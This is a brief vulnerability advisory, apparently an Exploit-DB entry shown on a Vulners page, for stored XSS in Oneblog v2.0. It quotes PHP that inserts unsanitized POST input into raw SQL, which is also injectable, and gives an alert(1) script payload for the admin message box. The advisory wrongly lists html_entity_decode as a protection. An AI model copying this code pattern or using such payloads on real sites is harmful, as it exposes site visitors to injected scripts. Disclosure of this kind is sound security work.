`# Exploit Title :----------------- : Oneblog v2.0 - (posts_new.php) - Stored XSS
# Author :------------------------ : Nassim Asrir
# Author Company :------------------------ : HenceForth
# Author Email :------------------------ : [email protected]
# Google Dork :---------------- : -
# Date :-------------------------- : 14/10/2016
# Type :-------------------------- : webapps
# Platform : -------------------- : PHP
# Software link : -------------- : http://wmscripti.com/php-scriptler/oneblog-blog-scripti.html
############################ Stored XSS Vulnerabilty ############################
## Code ##
}else{
$message = $_POST['message'];
}
if($title && $name && $message) {
$query = "INSERT INTO blog (title, author, post, date) VALUES ('$title', '$name', '$message', NOW())";
$result = mysql_query($query);
## Proc ##
- As you see the parameter ($message) is not protected using (html_entity_decode OR strip_tags).
- To test it . go to Admin panel . "http://yoursite/admin/posts_new.php" and create in the Message box: "><script>alert(1);</script>.
- and go to home page and you can see the alert and when any visitor visit your site he see the alert.
## Thnks To ##
- All Muslim Hackerz
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation